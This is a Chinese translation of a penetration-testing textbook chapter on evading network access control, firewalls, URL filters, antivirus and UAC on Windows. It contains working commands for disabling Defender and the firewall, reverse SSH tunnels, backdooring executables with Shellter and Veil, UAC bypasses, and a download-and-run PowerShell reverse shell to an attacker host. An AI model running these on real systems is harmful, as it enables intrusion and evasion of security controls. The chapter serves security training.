COVID-19 大流行促使许多组织在 2020 年全面转向远程办公,这大大增加了远程工作人员所使用的终端设备的风险。从 2018 年初至今,终端检测与响应EDR)的兴起,已成为传统防病毒软件的替代品,尤其是针对各种类型的安全事件,特别是复杂的勒索病毒和泄密软件。话虽如此,大多数情况下,当测试人员获得内部网络访问或高度特权访问时,他们认为测试已经完成,假设他们具备完全入侵网络或企业的知识和工具。

渗透测试活动中被忽视的一个方面是绕过安全控制,以评估目标组织的检测和防御技术。在所有渗透测试活动中,渗透测试员或攻击者需要了解在对目标网络/系统进行主动攻击时,什么因素会使漏洞失效,同时绕过目标组织设置的安全控制,成为网络杀链方法论的重要组成部分。在本章中,我们将回顾现有的各种安全控制,识别克服这些控制的系统化流程,并通过 Kali 工具集中的工具来演示。

在本章中,你将学习以下内容:

  • 绕过网络访问控制NAC

  • 使用不同策略和技术绕过传统的防病毒AV)/终端检测与响应EDR工具

  • 绕过应用层控制

  • 理解 Windows 特定操作系统的安全控制

让我们在下一节中探讨不同类型的 NAC 以及如何绕过它们。

绕过网络访问控制(NAC)

NAC 基于 IEEE 802.1X 标准的基本形式工作。大多数公司实施 NAC 来保护网络节点,如交换机、路由器、防火墙、服务器,更重要的是终端。优秀的 NAC 表示实施的控制措施通过策略防止入侵,并定义谁可以访问什么。在本节中,我们将深入探讨渗透测试人员或攻击者在 RTE 或渗透测试过程中遇到的不同类型 NAC。

NAC 没有特定的共同标准或规范化;它取决于供应商和实施方式。例如,思科提供思科网络接入控制,微软提供微软网络接入保护。NAC 的主要目的是控制可以连接的设备/元素,并确保它们经过合规性测试。NAC 保护可以细分为两类:

  • 预接入 NAC

  • 后接入 NAC

图 9.1 提供了一些在内部渗透测试或后期利用阶段,按照杀伤链方法进行的攻击者思维导图活动:

图表 说明自动生成

图 9.1:不同 NAC 活动的思维导图

预入网 NAC

在预入网 NAC 中,基本上,所有控制措施都由安全要求设定,以便将新设备添加到网络中。以下部分解释了绕过这些措施的不同方法:

添加新元素

通常,任何成熟的 NAC 部署在企业中都能够识别网络中添加的任何新设备(元素)。在红队演练或内部渗透测试过程中,攻击者通常会向网络添加一个设备,如pwnexpress NAC,并通过在设备上运行 Kali Linux 并保持对该设备的 shell 访问,绕过 NAC 设置的限制。

第六章,无线与蓝牙攻击绕过 MAC 地址认证与开放认证*部分中,我们展示了如何通过macchanger绕过 MAC 地址认证,使我们的系统能够通过网络。

识别规则

理解规则的应用方式被认为是一种艺术,尤其是当内部系统隐藏在 NAT 后面时。例如,如果你能够通过 MAC 地址过滤绕过或物理插入局域网电缆的方式将 Kali 攻击箱连接到内部网络,你现在已经将该元素以本地 IP 地址添加到公司网络中,如图 9.2所示。DHCP 信息会自动更新到你的/etc/resolv.conf文件中。

文本 说明自动生成

图 9.2:Kali Linux 上带有内部 DNS 条目的 DHCP 信息

许多企业实施了 DHCP 代理来保护自己;通过添加静态 IP 地址可以绕过这一措施。一些路由器会在你的设备通过 HTTP 认证后才分配 DHCP;通过执行中间人攻击可以捕获这些信息。

例外

我们通过经验发现,许多组织对其访问控制列表的规则存在明显的例外。例如,如果允许应用服务端口通过受限 IP 范围访问,则认证过的元素或端点可以模拟例如路由等例外。

隔离规则

在渗透测试过程中识别隔离规则将测试攻击者绕过组织设定的安全控制的能力。

禁用端点安全

攻击者在预入网 NAC 中可能遇到的一种情况是,当元素不符合要求时,端点将被禁用。例如,试图连接到没有安装 antivirus 的网络元素将被自动隔离,交换机上的网络端口/接口将被禁用。

防止修复

大多数终端都有定义的防病毒软件和预定义的修复活动。例如,具有有效 IP 地址并进行端口扫描的特定设备将在一段时间内被阻止,且流量会被防病毒软件阻断。

添加例外

一旦你获得了远程命令行的访问权限,添加一组规则也非常重要。测试人员可以通过以管理员身份在 Windows 命令行中运行reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f来启用远程桌面协议。

例如,你可以利用netsh Windows 命令行工具,通过输入以下命令将远程桌面添加到防火墙中:

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes 

在成功执行前述命令后,攻击者应能看到下图:

图 9.3:通过 Windows 防火墙添加远程桌面规则

一种非隐蔽的方式是通过运行netsh advfirewall set allprofiles state off,或在较早版本的 Windows 中运行netsh firewall set opmode disable来禁用所有配置文件。

通过后入访问控制(NAC)

后入 NAC 是一组已经被授权的设备,位于用户交换机和分布式交换机之间。攻击者可以尝试绕过的一项显著保护措施是防火墙和入侵防御系统。

绕过隔离

在高级主机入侵防御的情况下,如果终端缺少安全配置,或被妥协或感染,可能会有一个规则将该终端隔离在特定的段中。这将为攻击者提供机会,利用该特定段中的所有系统。

检测蜜罐

我们甚至注意到,一些公司已经实施了高级保护机制,在这些机制中,被感染的系统或服务器会被引导到蜜罐解决方案,以设置陷阱并揭示感染或攻击背后的真正动机。

测试人员可以通过通常会响应并且所有端口都开放的蜜罐主机来识别这些主机。

绕过应用程序级别的控制

在利用成功后,绕过应用程序控制是一个直接的操作。多种应用程序级别的保护/控制被实施。在本节中,我们将深入探讨常见的应用程序级别的控制措施以及绕过它们的策略,并从公司网络建立与互联网的连接。

使用 SSH 隧道绕过客户端防火墙

在将自己添加到内部网络后,需要学习的主要内容之一是如何使用 SSH 绕过防火墙进行隧道连接。我们现在将探讨如何通过绕过所有已实施的安全控制来从外部互联网设置到攻击盒的反向隧道。

从入站到出站

在以下示例中,Kali Linux 运行在位于 18.x.x.74 的互联网云上,并在 443 端口上运行 SSH 服务(确保您通过编辑 /etc/sshd_config 文件并将 Port 设置为 443 来更改 SSH 设置)。如果内部企业网络上的所有端口在防火墙级别被阻止,除了端口 80443,这意味着内部人员可以从企业网络访问互联网。攻击者则可以通过直接访问 443 端口上的 SSH 服务利用远程 Kali Linux。技术上来说,就公司而言,这是从内部网络访问互联网。

图 9.4:通过端口 443 访问远程 Kali Linux

接下来,您应该能够在云上使用您的 Kali Linux 机器与内部网络进行通信。

绕过 URL 过滤机制

您可以利用现有的 SSH 连接和端口转发技术绕过由安全策略或特殊设备设置的任何限制。

在以下示例中,展示了存在一个 URL 过滤设备,阻止我们访问某些网站,如以下 图 9.5 所示:

图 9.5:URL 过滤设备阻止的域内容

可以使用隧道工具绕过此限制;在此示例中,我们将使用名为 PuTTY 的便携式软件,可以直接从 www.chiark.greenend.org.uk/~sgtatham/putty/latest.html 下载:

  1. 打开 putty.exe 应用程序(大多数情况下,便携式可执行文件不会被阻止),并连接到您的远程主机的 443 端口,接受证书并登录。

  2. Connection 标签中点击 Tunnels

  3. 将本地端口设置为 8090,并将远程端口设置为 自动,如 图 9.6 所示:

    图 9.6:通过现有 SSH 通信设置隧道

    这现在已经启用了通过 SSH 隧道使用外部系统的设置访问您的内部系统的互联网,这意味着现在所有 TCP 端口 8090 上的流量都可以通过 18.x.x.74 的外部系统转发。

  4. 下一步是进入 Internet Options | LAN connections | Advanced | SOCKs,并在 Proxy address to use 中输入 127.0.0.1,端口设置为 8090,如 图 9.7 所示:Graphical user interface, application  Description automatically generated

    图 9.7:设置 Socks IP 指向代理 SSH 隧道

现在,代理已经指向远程主机,您将能够访问网站而不被代理或任何 URL 过滤设备阻止,如 图 9.8 所示。

通过这种方式,渗透测试人员可以绕过现有的 URL 过滤并将数据外泄到公共云、黑客托管的计算机或被封锁的网站。

图 9.8:成功访问受限域

绕过 URL 过滤机制后,攻击者可能能够访问他们控制的网站;例如,他们可能能够放置加密恶意软件以挖掘托管端点的计算能力。

从外到内

要从外部系统建立到内部系统的稳定连接,必须使用 SSH 创建一个隧道。在这种情况下,我们有一台连接到内部局域网的 Kali Linux 机器,它具有有效的 IP 地址。以下命令将帮助在网络内部创建一个隧道通向外部。在运行之前,测试者必须确保通过编辑 /etc/ssh/ssh_config 更改 SSH 配置,将 GatewayPorts 设置为 yes,并通过运行 sudo service ssh restart 重启 SSH 服务:

ssh -R 2210:localhost:443 -p 443 remotehacker@ExternalIPtoTunnel 

图 9.9 显示了通过 SSH 从内部网络登录到云端机器上的 Kali Linux,该机器已经在本地主机上打开了 2210 端口来转发 SSH:

文本 描述自动生成

图 9.9:从内部网络到外部主机创建反向 SSH 隧道

这样做是为了建立一个稳定的反向连接到远程主机,使用反向 SSH 隧道绕过任何防火墙限制。如果攻击者利用常见端口如8080804438443,则将更加隐蔽。一旦远程系统验证通过,从远程主机运行以下命令。这应该能让你在防火墙外部仍能访问内部网络:

ssh -p 2210 localhost 

图 9.10:通过反向 SSH 隧道成功访问防火墙外部的内部主机

拥有内部访问权限后,关键是保持持久性以便导出数据并保持访问,而不触发任何防火墙或网络保护设备。

通过文件绕过杀毒软件

网络攻击链中的利用阶段对渗透测试者或攻击者来说是最危险的,因为他们直接与目标网络或系统互动,且存在很高的活动被记录或身份被发现的风险。因此,必须采用隐蔽手段以尽量减少对测试者的风险。虽然没有任何特定的工具或方法是无法被检测到的,但有一些配置更改和特定的工具可以使得检测变得更加困难。

在考虑远程漏洞时,大多数网络和系统会采用各种防御控制措施,以最大限度地减少攻击风险。网络设备包括路由器、防火墙、入侵检测和防御系统以及恶意软件检测软件。

为了促进利用,大多数框架都集成了使攻击稍微隐秘的功能。Metasploit 框架允许您手动设置每个漏洞的规避因素,确定哪些因素(如加密、端口号、文件名等)可能难以识别,并且会根据每个特定 ID 进行更改。Metasploit 框架还允许将目标和攻击系统之间的通信加密(windows/meterpreter/reverse_tcp_rc4有效载荷),从而使漏洞利用载荷更难被检测。

Metasploit Pro(Nexpose),作为 Kali 发行版中的社区版,包含以下功能,专门用于绕过入侵检测系统:

  • 可以在Discovery Scan设置中调整扫描速度,通过将速度设置为“隐秘”或“偏执”,减少与目标的交互速度

  • 这通过发送更小的 TCP 数据包并增加数据包之间的传输时间来实现传输规避

  • 这减少了同时对目标系统发起的攻击数量

  • 对于涉及 DCERPC、HTTP 和 SMB 的漏洞攻击,提供了特定于应用程序的规避选项,这些选项可以自动设置

大多数杀毒软件依赖于特征匹配来定位病毒、勒索软件或其他恶意软件。它们会检查每个可执行文件中是否包含已知病毒特征的代码字符串(即特征),并在检测到可疑字符串时发出警报。Metasploit 的许多攻击依赖于可能具有特征的文件,这些特征随着时间的推移被杀毒软件厂商识别。

为应对此问题,Metasploit 框架允许对独立可执行文件进行编码,以绕过检测。

不幸的是,在公共网站上对这些可执行文件进行广泛测试,如virustotal.comantiscan.me,已经降低了它们绕过杀毒软件的效果。然而,这也催生了像 Veil 和 Shellter 这样的框架,它们通过在将后门植入目标环境之前,将可执行文件直接上传到 VirusTotal 并进行交叉验证,从而绕过杀毒软件。

使用 Veil 框架

Veil 框架是另一个 AV 规避框架,由 Chris Truncer 编写,名为 Veil-Evasion,提供有效的保护和检测针对终端和服务器的独立漏洞攻击。虽然该框架已被创作者停滞(不再支持),但攻击者仍然可以通过进一步修改工具创建的有效载荷,使其不被检测到。Veil 框架的最新版本为 2021 年 8 月发布的 3.1.14。该框架由两个工具组成:EvasionOrdnance。Veil 框架可以通过 Kali 仓库获得,用户只需在终端中输入sudo apt install veil即可自动安装。

如果在安装过程中遇到任何错误,请重新运行 /usr/share/veil/config/setup.sh --force --silent

Evasion 将各种技术聚合成一个框架,简化管理,而 Ordnance 为支持的有效载荷生成 shellcode,进一步创造已知漏洞的新漏洞利用。

作为一个框架,Veil 包含多个功能,具体如下:

  • 它将自定义 shellcode 集成到多种编程语言中,包括 C、C# 和 Python。

  • 它可以使用 Metasploit 生成的 shellcode,或者你可以使用 Ordnance 创建你自己的 shellcode。

  • 它可以集成第三方工具,如 Hyperion(使用 AES 128 位加密加密 EXE 文件)、PEScrambler 和 BackDoor Factory。

  • 有效载荷可以被生成并无缝地替换到所有 PsExec、Python 和 .exe 调用中。

  • 用户可以重复使用 shellcode 或实现自己的加密方法。

  • 它的功能可以通过脚本化来自动化部署。

Veil 可以生成一个漏洞利用有效载荷;独立的有效载荷选项包括以下内容:

  • 最小化的 Python 安装用于调用 shellcode;它上传一个最小的 Python.zip 安装包和 7Zip 二进制文件。Python 环境被解压后,触发 shellcode。由于与受害者交互的唯一文件是受信任的 Python 库和解释器,受害者的防病毒软件不会检测到任何异常活动。

  • Sethc 后门配置受害者的注册表以启动 RDP 粘滞键后门。

  • 一个 PowerShell shellcode 注入器。

当有效载荷创建完成后,它们可以通过以下两种方式之一传送到目标:

  • 使用 Impacket 和 PTH 工具包上传并执行。

  • UNC 调用

Veil 向用户展示主菜单,提供两个工具供选择,并加载多个有效载荷模块以及可用的命令。输入 use Evasion 将带我们进入 Evasion 工具,而 list 命令会列出所有可用的 payloads。Veil 框架的初始启动屏幕如 图 9.11 所示:

图 9.11:Veil 框架的主菜单

目前,Evasion 工具中有 41 个有效载荷,旨在通过使用加密或直接注入内存空间来绕过防病毒软件。这些有效载荷在 图 9.12 中展示:

图 9.12:Veil-Evasion 选项

要获取特定有效载荷的信息,输入 info <有效载荷编号 / 有效载荷名称>info <tab> 来自动补全可用的有效载荷。你也可以直接输入列表中的编号。在以下示例中,我们输入了 14 来选择 python/shellcode_inject/aes_encrypt 有效载荷,并运行 use 29

利用程序包含一个expire_payload选项。如果模块在指定时间内没有被目标用户执行,它将失效,并且还包括CLICKTRACK,该选项设置用户执行有效载荷所需的点击次数。此功能有助于提高攻击的隐蔽性。

一些必填选项已预先填充了默认值和描述。如果某个必填项没有默认值,测试人员需要执行以下操作:

  1. 在生成有效载荷之前,输入一个值。要设置选项的值,请输入set <option name>

  2. 然后输入所需的值。要接受默认选项并创建利用程序,请在 Veil-Evasion shell 中输入generate

存在一个已知的错误,可能会抛出与加密相关的错误信息。测试人员可以编辑位于/usr/share/veil/tools/evasion/evasion_common/encryption.py的文件,将第 21 行的aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv)修改为aes_cipher_object = AES.new(random_aes_key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))(去掉引号)。这样应该可以顺利修复错误信息。

默认情况下,Ordnance 是你能够生成特定 shellcode 的地方。如果发生错误,它将默认使用msfvenom或自定义 shellcode。如果选择了自定义 shellcode 选项,请以\x01\x02的形式输入 shellcode,去掉引号和换行符(\n)。如果选择默认选项msfvenom,则会提示选择默认有效载荷 windows/meterpreter/reverse_tcp。如果你想使用其他有效载荷,请按 Tab 键以查看可用的有效载荷。可用的有效载荷在图 9.13中显示:

图 9.13:Veil-Evasion 中的 Metasploit 有效载荷选项

图 9.14中,按 Tab 键展示了一些可用的有效载荷;然而,默认选项(windows/meterpreter/reverse_tcp)被选中了:

图 9.14:成功创建一个包含有效载荷的文件

Veil-Evasion 利用程序也可以直接从终端创建,使用以下选项。在此示例中,我们使用选项 14 通过 Go 创建一个有效载荷可执行文件:

sudo veil –t Evasion -p 14 --ordnance-payload rev_https --ip 192.168.1.7 --port 443 -o Outfile 

上述命令应输出包含有效载荷可执行文件、源代码和资源文件的文件,并将其传送到 Metasploit 有效载荷,如图 9.15所示:

计算机屏幕截图  描述自动生成,信心中等

图 9.15:使用 Go 语言成功创建一个利用程序可执行文件

一旦创建了漏洞利用,测试人员应通过 VirusTotal 验证负载,以确保它在放置到目标系统时不会触发警报。如果负载样本直接提交到 VirusTotal 并且其行为被标记为恶意软件,则防病毒厂商可能会在 1 小时内发布针对该提交的签名更新。这就是为什么用户被告诫不要将样本提交给任何在线扫描器!的原因。

Veil-Evasion 允许测试人员通过 VirusTotal 进行安全检查。当任何负载被创建时,会生成一个 SHA1 哈希值并添加到hashes.txt中,该文件位于~/veil-output目录中。测试人员可以调用checkvt脚本将哈希值提交到 VirusTotal,VirusTotal 会将 SHA1 哈希值与其恶意软件数据库进行匹配。如果 Veil-Evasion 负载触发了匹配,那么测试人员知道它可能会被目标系统检测到。如果没有触发匹配,那么漏洞利用负载将绕过防病毒软件。使用checkvt命令成功查找(防病毒无法检测到)如下所示:

图 9.16:使用 Go 语言成功创建漏洞利用可执行文件

如果攻击者在运行checkvt命令时收到任何错误消息,请确保编辑位于/usr/share/veil/tools/evasion/scripts/vt-notify/vt-notify.rb文件中的$apikey,并将其更改为你的密钥。

使用 Shellter

Shellter 是另一种防病毒规避工具,它动态地感染 PE,并且也用于将 shellcode 注入任何32 位原生 Windows 应用程序。它允许攻击者自定义负载或使用 Metasploit 框架。大多数防病毒软件无法识别恶意可执行文件,具体取决于攻击者如何重新编码无数个签名。

Shellter 可以通过在终端运行sudo apt-get install shellter来安装。一旦应用程序安装完成,我们应该能够通过在终端中输入sudo shellter命令来启动 Shellter,然后查看图 9.17,此时我们已经准备好在任何可执行文件上创建后门:

图 9.17:来自 Kali Linux 的 Shellter 主菜单

一旦启动 Shellter,以下是创建恶意可执行文件的典型步骤:

  1. 攻击者应当有选择AutoA)或ManualM)以及HelpH)的选项。为了演示,我们将使用Auto模式。

  2. 下一步是提供 PE 目标文件;攻击者可以选择任何.exe文件或使用/usr/share/windows-binaries/中的可执行文件。在本例中,我们使用了 32 位的putty.exe

  3. 一旦提供了 PE 目标文件位置,Shellter 将能够反汇编 PE 文件,如图 9.18所示:

    图 9.18:Shellter 编译带有自定义 DLL 注入的 32 位应用程序

  4. 当反汇编完成后,Shellter 会提供启用隐身模式的选项。

  5. 选择隐身模式后,你将能够将列出的有效载荷注入到相同的 PE 文件中,如图 9.19所示,或者你可以按C键选择自定义有效载荷:

    图 9.19:在 Shellter 中选择有效载荷选项

  6. 在这个例子中,我们使用Meterpreter_reverse_HTTPS并提供LHOSTLPORT,如图 9.20所示:

    图 9.20:成功设置有效载荷选项

  7. 所有所需的信息都已输入到 Shellter 中。同时,作为输入的 PE 文件现在已经注入了有效载荷,注入过程完成了。

    图 9.21:Kali Linux 中的 Shellter 主菜单

一旦这个可执行文件被传送到受害者那里,攻击者现在将能够根据有效载荷打开监听器;在我们的例子中,LHOST10.10.10.12LPORT443

use exploit/multi/handler 
set payload windows/meterpreterreverse_HTTPS 
set lhost <YOUR KALI IP> 
set lport 443 
set exitonsession false 
exploit -j -z 

现在,你可以将前面的命令列表保存为文件名listener.rc,然后通过运行msfconsole -r listener.rc在 Metasploit 中执行。当受害者系统在没有被防病毒软件或任何安全控制阻止的情况下启动时,它应该会顺利打开到攻击者的 IP 地址的 shell,如图 9.22所示:

Text  Description automatically generated

图 9.22:Kali Linux 中的 Shellter 主菜单

这总结了构建后门并将其植入受害者系统的最有效方式。

大多数防病毒软件能够捕捉到反向 Meterpreter shell;然而,建议渗透测试人员在投放漏洞之前进行多次编码。

无文件运行并避开防病毒

大多数组织允许用户访问所有网络段的内部基础设施,或者采用扁平化网络。在一些组织中,特别是在银行业,网络是隔离的,并且实施了严格的访问控制。例如,可能会创建一个内部防火墙规则,只允许80443端口作为外向通信,并阻止所有其他端口。因此,建议在测试期间使用80443端口作为所有监听器的端口。在本节中,我们将探讨绕过安全控制并接管目标系统的一些快速方法。

绕过 Windows 操作系统的控制

在每个企业环境中,我们看到提供给终端用户的所有终端通常都是 Windows 操作系统。由于 Windows 的使用广泛,利用 Windows 的可能性总是很高。在本节中,我们将专注于一些特定的 Windows 操作系统安全控制以及如何在访问终端后绕过它们。在下面的例子中,我们使用了一个 Windows 10 虚拟机进行演示。

用户账户控制(UAC)

最近的开发显示,有不同的方法可以绕过 Windows UAC,详细信息请参考 github.com/hfiref0x/UACME。该项目主要集中在恶意软件的逆向工程。所有源代码均使用 C# 和 C 编写,这需要攻击者编译代码并执行已知的攻击。

微软引入了安全控制措施,限制进程在三个不同的完整性级别下运行:高、低和中。高完整性进程具有管理员权限,中级进程以标准用户权限运行,低完整性进程受到限制,确保如果程序被攻破,造成的损害最小。

要执行任何特权操作,程序必须以管理员身份运行并遵守 UAC 设置。四个 UAC 设置如下:

  • 始终通知:这是最严格的设置,任何程序想要使用更高权限时,都会提示本地用户。

  • 仅在程序尝试更改我的计算机时通知我:这是默认的 UAC 设置。当本地 Windows 程序请求更高权限时,它不会提示用户。然而,如果第三方程序请求提升权限,则会提示。

  • 仅在程序尝试更改我的计算机时通知我(不要变暗我的桌面):这与默认设置相同,但在提示用户时不会使系统显示器变暗。

  • 从不通知:此选项将系统恢复到 Vista 之前的状态。如果用户是管理员,则所有程序将以高完整性运行。

因此,在利用之后,测试者(和攻击者)希望了解以下两件事:

  • 系统已识别的用户是谁?

  • 它们在系统中具有什么权限?

可以使用以下命令来确定:

C:\> whoami /groups 

在这里,一个受损的系统正在高完整性上下文中运行,如 图 9.23 中所示的 Mandatory Label\High Mandatory Level 标签:

图 9.23:个人账户的常见 Windows 权限

如果 LabelMandatory Label\Medium Mandatory Level,则测试者需要从标准用户权限提升到管理员权限,以便许多后续的利用步骤能够成功。

假设攻击者从 Shellter 或 Veil 漏洞获取了一个受限的 shell,提升权限的第一个选项是从 Metasploit 运行 exploit/windows/local/ask,这将启动 RunAs 攻击。此操作将创建一个可执行文件,当调用时,它会运行一个请求提升权限的程序。可执行文件应该使用 EXE::Custom 选项创建,或者使用 Veil 框架加密,以避免被本地杀毒软件检测到。

RunAs攻击的缺点是,用户会被提示一个来自未知发布者的程序尝试对计算机进行更改。这个警告可能会使权限提升被识别为攻击,如图 9.24所示:

图形用户界面,文本,应用程序,聊天或文本消息 说明自动生成

图 9.24:受害者在运行 exploit/windows/local/ask 时将收到的弹出窗口

如果系统当前用户属于管理员组,并且 UAC 设置为默认的仅当程序尝试对我的计算机进行更改时通知我(如果设置为始终通知,则无法绕过),攻击者将能够使用 Metasploit 的exploit/windows/local/bypassuac模块提升其权限。

为了确保完全控制远程计算机,我们必须能够获得管理员级别的访问权限。攻击者通常使用getsystem来提升当前权限到系统权限。

图 9.25:Metasploit 中的有限 Shell

ask模块会在目标系统上创建多个伪迹,并且大多数杀毒软件可以识别这些伪迹。请注意,这只有在用户是本地管理员时才有效。现在,让我们使用 Windows 本地漏洞绕过 UAC。一旦SESSION设置为活动会话,攻击者将能够绕过 Windows 操作系统设置的 UAC,成功绕过后,攻击者将获得另一个具有系统级权限的 Meterpreter 会话,如图 9.26所示:

文本 说明自动生成

图 9.26:通过 Metasploit 使用 exploit/windows/local/ask 提升权限

使用 fodhelper 绕过 Windows 10 中的 UAC

fodhelper.exe是 Windows 用于管理 Windows 设置中功能的可执行文件。如果攻击者对受害者系统有有限的 Shell 或普通用户访问权限,他们可以利用fodhelper.exe来绕过 UAC。

测试人员必须注意微软防御者实时监控是否已禁用,因为此路径可能会被防御者阻止作为 UAC 绕过。建议通过以管理员身份运行PowerShell.exe Set-MpPreference –DisableRealtimeMonitoring $true命令来禁用微软防御者。

绕过 UAC 可以通过在 Windows PowerShell 中运行以下命令来实现,这些命令利用了 Windows 操作系统中的受信任二进制文件,该二进制文件允许在大多数 UAC 设置下提升权限,而无需 UAC 提示。该二进制文件会检查特定的注册表键并执行指令:

WmiObject Win32_UserAccount -filter "LocalAccount=True"| Select-Object Name,Fullname,Disabled
New-Item -Path HKCU:\Software\classes\ms-settings\shell\open\command -value cmd.exe –Force
New-ItemProperty -Path HKCU:\Software\classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
fodhelper 

![背景图案 说明自动生成](https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/ms-kali-adv-pentest-4e/img/B17765_09_27.png)

图 9.27:手动 fodhelper UAC 绕过

或者,这可以通过运行一行 PowerShell 脚本来实现。在攻击者托管的 HTTP Web 服务器的帮助下,可以通过以下方式实现:

  1. 下载绕过脚本(github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2009/FodHelperBypassUAC.ps1

  2. 通过运行 sudo service apache2 start 在 Kali Linux 上启动 apache2 服务

  3. 将漏洞利用文件复制到相关的 HTML 文件夹,cp FodhelperBypass.ps1 /var/www/html/anyfolder/,然后使用以下命令运行:

    Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1') FodhelperBypass -program 'cmd.exe /c Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/agent.ps1')" 
    

上述脚本将打开一个新的 Empire PowerShell shell,并以高权限运行。我们将在 第十章利用 中详细探讨如何使用 PowerShell Empire。

使用磁盘清理绕过 Windows 10 中的 UAC

这种攻击方法涉及磁盘清理,这是 Windows 中的一个工具,旨在释放硬盘空间。Windows 10 上的默认计划任务揭示了一个名为 SilentCleanup 的任务,它以最高权限执行磁盘清理过程 cleanmgr.exe,即使是由无权限用户执行也会如此。该过程会在 Temp 目录中创建一个名为 GUID 的新文件夹,并将一个可执行文件和多个 DLL 文件复制到其中。

然后启动可执行文件,它会按特定顺序加载 DLL 文件,如 图 9.28 所示:

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM"
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I 

图 9.28:利用 DiskCleanUP 漏洞提升权限

尽管 Microsoft Defender 提供了实时监控,但该漏洞利用可能在设备上多次运行时仍然有效。

混淆 PowerShell 并使用无文件技术

近期端点安全防御机制和基于 EDR 的实时监控对现有攻击工具造成了很多限制。然而,总是有新的方法可以绕过它们。在本节中,我们将探讨如何混淆一个已知的 PowerShell 有效载荷,并获取一个远程 shell 给攻击者。

我们将利用PyFuscation工具。这个工具是用 Python 3 编写的,能够替换给定 PowerShell 脚本中的所有函数名、变量和参数。可以通过运行以下命令从 Git 仓库直接克隆:

sudo git clone https://github.com/CBHue/PyFuscation 
cd PyFuscation 
sudo python3 PyFuscation.py 

这样就准备好混淆器了。接下来,我们将使用 Nishang PowerShell 脚本来混淆有效载荷。可以通过运行 sudo git clone https://github.com/samratashok/nishang 从 Git 仓库克隆这些脚本,然后从相同的文件夹中,cd nishang/Shells,将 Invoke-PowerShellTcp –Reverse –IPAddress <yourKaliIP> -Port 443 添加到 Invoke-PowerShellTcp.ps1 脚本内容中并保存文件(该文件位于 nishang/shells 文件夹中)。编辑后的代码片段如 图 9.29 所示:

图 9.29:编辑 Invoke-PowerShellTcp.Ps1 内容

最后,我们将使用 PyFuscation 混淆我们刚刚编辑过的 PowerShell 脚本,通过运行sudo python3 PyFuscation.py –fvp –-ps nameofthescript.ps1。您应该能够看到,PowerShell 脚本、函数、变量和参数已被替换为一个新的文件夹和新的文件名,如图 9.30所示:

图 9.30:在 Invoke-PowerShellTcp.ps1 上运行 PyFuscation

一旦文件成功混淆,我们可以更改目录到输出文件夹,然后将文件重命名为更简洁的名称以便从目标系统调用,接着我们将通过运行python3 –m http.server来托管我们的 Web 服务器,如图 9.31所示:

图 9.31:移动文件并托管 Python Web 服务器

在目标 Windows 机器上,我们只需从 PowerShell 运行wget http://<yourkaliIP>/filename.ps1 -Outfile anyfolder

现在,最终脚本已经准备好接受杀毒软件扫描。在这个例子中,我们将使用微软 Defender 来扫描脚本,如图 9.32所示。它应该不会找到任何恶意内容。为了查看差异,您可以先尝试使用未混淆的原始脚本,您将看到微软 Defender 的警报,标记其为恶意并将其隔离。

图 9.32:微软 Windows Defender 确认未发现新威胁

最后一步,一旦脚本被传送到目标,攻击者现在可以为目标打开端口进行连接。在这种情况下,端口443是在最初的有效负载中设置的。一旦运行此 PowerShell 脚本,无论是通过 PowerShell 打开它还是直接运行,它都应当打开一个直接的反向 Shell,连接到攻击者的系统,且不会被任何杀毒软件/EDR 拦截,如图 9.33所示:

图 9.33:攻击者的 Kali Linux 远程 Shell,端口 443

我们将在第十三章《指挥与控制》中探讨如何保持指挥和控制的不同技巧。

其他 Windows 特定操作系统控制

Windows 特定操作系统控制可进一步划分为以下五个类别:

  • 访问与授权

  • 加密

  • 系统安全

  • 通信安全

  • 审计与日志记录

访问与授权

大多数漏洞利用都发生在安全控制的访问和授权部分,以获取系统访问权限并执行未经授权的活动。具体控制如下:

  • 将用户添加到凭证管理器中,使用户能够创建作为可信调用者的应用程序。作为回报,该帐户可以获取同一系统上另一个用户的凭证。举个例子,系统的用户将他们的个人信息添加到通用凭证部分,如图 9.34所示:

    图 9.34:Microsoft Windows 10 凭证管理器

  • 通过基于云的账户进行登录;默认情况下,一些 Windows 操作系统允许使用 Microsoft 账户。

  • 别忘了,旧系统中的来宾账户和被锁定的账户作为服务账户,用于运行计划任务和其他服务。

  • 打印机驱动程序安装有助于绕过机器上设置的安全控制。攻击者可能会用恶意可执行文件替换驱动程序安装程序,从而为系统提供一个持久的后门。

  • 匿名安全标识符SID)、命名管道和 SAM 账户枚举是适用于通过域或独立安全设置连接到网络的系统的一些控制措施。

  • 远程访问注册表路径和子路径。

加密

Microsoft Windows 采用的加密技术通常涉及密码存储、NTLM 会话和安全通道数据。

攻击者通常通过利用较弱的加密套件或直接禁用加密功能来成功绕过加密。

系统安全

系统级别的安全性主要围绕本地系统级别的利用和用于启动绕过的控制措施:

  • 时区同步:在大多数组织中,所有终端会与主域同步时间;这为攻击者提供了伪造证据或跟踪漏洞利用的机会。

  • 创建页面文件、锁定内存中的页面,并创建令牌对象——其中一些令牌对象和页面文件在系统级别运行。一种典型的攻击方式是休眠文件攻击。

  • 渗透测试人员在获得目标系统的本地管理员权限后,必须考虑的首要事项之一是将自己身份验证到域中,提升权限,并向域中添加一个能够创建全局对象和符号链接的用户,这将提供对域的完全访问。

  • 加载和卸载设备驱动程序,并设置固件环境值。

  • 启用所有系统用户的自动管理员登录。

通信安全

通常,在通信安全方面,大多数附加网络设备已经到位,但关于 Windows 数字签名证书和服务主体名称SPN)服务器,目标名称验证是渗透测试人员可以利用的一个重要环节,用于开发自定义漏洞利用程序。我们将在下一章探讨 SPN 的漏洞利用。

审计和日志记录

Windows 可能设置的默认配置控制大多涉及启用系统日志。以下是任何组织可以在事件/取证分析期间利用的信息日志列表:

  • 凭证验证

  • 计算机账户管理

